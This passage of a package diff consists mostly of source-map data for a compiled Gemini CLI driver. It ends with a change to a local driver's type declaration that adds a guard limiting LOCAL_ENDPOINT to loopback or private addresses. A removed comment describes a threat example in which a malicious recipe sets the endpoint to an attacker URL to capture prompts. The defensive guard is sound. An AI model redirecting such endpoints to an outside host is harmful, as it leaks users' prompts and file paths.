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"}
+{"version":3,"file":"index.js","sourceRoot":"","sources":["../../../src/drivers/gemini/index.ts"],"names":[],"mappings":"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"}

package/dist/drivers/local/index.d.ts

@@ -1,21 +1,6 @@
+import { isLoopbackOrPrivateEndpoint } from "../../localEndpointGuard.js";
 import { OpenAIApiDriver } from "../openai/index.js";
-/**
- * Reject any LOCAL_ENDPOINT that doesn't resolve to loopback or RFC1918
- * private space. The local driver streams the user prompt + context-file
- * paths to whatever URL is set; if a malicious recipe (or a user pasting
- * a phishy "free local LLM" link) sets `LOCAL_ENDPOINT=https://attacker/v1`,
